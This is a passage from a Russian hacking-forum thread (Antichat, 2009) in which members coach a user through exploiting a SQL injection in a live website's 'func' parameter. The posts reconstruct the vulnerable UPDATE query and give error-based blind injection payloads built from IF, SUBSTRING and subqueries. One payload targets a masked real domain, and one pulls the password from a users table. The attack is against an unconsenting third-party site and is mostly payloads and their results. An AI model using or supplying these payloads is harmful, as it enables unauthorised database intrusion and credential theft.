HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 24.07.2009, 02:23
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами: 9466141

Репутация: 74
По умолчанию

Код:
/forum.html?func=who'%20--%20a
вот так все норм ошибки не выдает при UPDATE запросе....
 
Ответить с цитированием

  #22  
Старый 24.07.2009, 09:27
Disasm
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами: 9342612

Репутация: 6
По умолчанию

Цитата:
Сообщение от xa-xa89  
Код:
/forum.html?func=who'%20--%20a
вот так все норм ошибки не выдает при UPDATE запросе....
Не катит.

В запросе у нас WHERE идет с новой строки, а в данном случае комментируется текущая строка, поэтому и ошибок не выдает.

Можем даже проверить:
Код:
/forum.html?func=who'+where+1=1+--+a
на что получаем ошибку синтаксиса и очевидно, что основной WHERE у нас не закомментировался.

Последний раз редактировалось Disasm; 24.07.2009 в 10:06..
 
Ответить с цитированием

  #23  
Старый 24.07.2009, 20:43
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Disasm
У Вас скорее всего версия Mysql >=5.0.51, она требует закрытия комментария "/*", отсюда и ошибка синтаксиса:
Цитата:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*'
а однострочный, как вы сами заметили не будет работать

Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html

И кстати.
Цитата:
Сообщение от Disasm  
а делее через UNION еще раз UPDATE
Ээээ?
 
Ответить с цитированием

  #24  
Старый 24.07.2009, 21:49
Disasm
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами: 9342612

Репутация: 6
По умолчанию

Цитата:
Сообщение от jokester  
Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html
Большое спасибо! Действительно интересный материал, но опять же, чтоб спровоцировать more than 1 row мне необходимо закомментировать хвост. А это, как вы уточнили, в Mysql 5.0.51 и выше, реализовать не удастся.

jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.
 
Ответить с цитированием

  #25  
Старый 24.07.2009, 22:18
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами: 9610769

Репутация: 380
По умолчанию

Насколько я понимаю запрос имеет такую форму:
Цитата:
$sql = "UPDATE table SET time='{$now}', what='{$what}', do= '{$do}', task= '{$task}', link= '{$link}', func= '{$func}'"
. " WHERE userid={$my->id} AND userip='{$myip}'";
где уязвимый параметр func, и судя по error на сингл комент /* у нас 5, и для more than 1 row вам не обязательно необходимо коментить оставшуюся часть запроса т.к. в 5 давно есть сабгвери, следовательно
$func = 1%27 or 1=IF(SUBSTRING((SELECT version()),1,1)=4,0,(select 1 union select 5))

"UPDATE table SET time='{$now}',
what='{$what}',
do= '{$do}',
task= '{$task}',
link= '{$link}',
func= '{$func}'"
WHERE
userid={$my->id} AND userip='{$myip}'";
 
Ответить с цитированием

  #26  
Старый 24.07.2009, 22:21
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от Disasm  
jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.
Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:
Цитата:
Сообщение от Disasm  
INSERT идет только тогда, когда для текущего посетителя сессия еще не открыта (точнее не сессия, а запись в БД о текущем местонахождении)
Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.

2 PaCo
Там видишь ещё какое г.
Цитата:
WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=bla%27/*', func= 'bla'/*' WHERE userid=0 AND userip='255.255.255.255'
Надо учитывать

Последний раз редактировалось jokester; 24.07.2009 в 22:26..
 
Ответить с цитированием

  #27  
Старый 24.07.2009, 22:31
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами: 9610769

Репутация: 380
По умолчанию

Цитата:
Сообщение от jokester  
Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:

Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.

2 PaCo
Там видишь ещё какое г.

Надо учитывать
Вижу вот это
link= '/index.php?func=bla%27/*', func= 'bla'/*' я ж не случайно написал %27, даже если бы кавычка оставалась как есть можно и /**/ закоментить что нам не нравиться если имеем 2 уязвимых параметра, только надо подумать как .

З.Ы. jokester согласен тестить нужно а так это гадания на картах.
А что этот топ здесь делает? По моему это далеко не кодинг.
ЗЫ про оставшуюся та ковычку я и забыл

Вообшем ТС вот тебе для блинд запрос по тому адресу что ты мне в пм отослал(пробелы поуберай):

Цитата:

http://**********.ru/*****.html?func=who%27%20or%201=IF(SUBSTRING((SELE CT%20version()),1,1)%3E5,0,(select%201%20union%20s elect%205))%20and%201=%271%20
сама сабгверя SELECT%20version() ну и т.д., версия 5, значит есть INFORMATION.SCHEMA вопрос что в ней есть - ну это уже сам смотри.

Последний раз редактировалось PaCo; 24.07.2009 в 23:21..
 
Ответить с цитированием

  #28  
Старый 24.07.2009, 23:15
Disasm
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами: 9342612

Репутация: 6
По умолчанию

Пытаюсь выполнить запрос:
/forum.html?func=who'+or+1=IF(SUBSTRING((SELECT+ver sion()),1,1)=4,0,(select password from users where id=1))+--+a

Запрос действительно выполняется, ошибок в ответку нет.
Меняю имя поля на не существующее и в ответ получаю соответствующую ошибку - значит выборка прошла успешно.

Уважаемые Гуру, я одного не могу понять, как мне это может помочь в получении значения определенной записи?

Последний раз редактировалось Disasm; 24.07.2009 в 23:19..
 
Ответить с цитированием

  #29  
Старый 24.07.2009, 23:43
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами: 9610769

Репутация: 380
По умолчанию

2Disasm - блайнд там выполним, пример запроса тебе показали так что стоит немного почитать линки которые тебе дали, никто тебе не будет описывать все до мелочей, сам запрос которых ты хочешь зделать нужно писать в условии IF а не в варинтах при выполнении/не выполнении условия в IF:
IF(ЗДЕСЬ_УСЛОВИЯ_СЧИТАЙ_САБ_ ВЕРЯ_И_ПРОВЕРКА_ЕЕ_РЕЗУЛЬТ ТОВ,0,ЗДЕСЬ_ТО_ЧТО_БУДЕТ_ВЫЗ ЫВАТЬ_ОШИБКУ_ПРИ_НЕ_ВЫПОЛНЕ НИИ_УСЛОВИЯ)
 
Ответить с цитированием

  #30  
Старый 25.07.2009, 00:04
Disasm
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами: 9342612

Репутация: 6
По умолчанию

Подскажите, я мыслю в правильном направлении:
Как я понял с помощью этого запроса я могу выполнить только посимвольный брут значения определенного поля?
Значение целиком я получить никак не смогу?
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.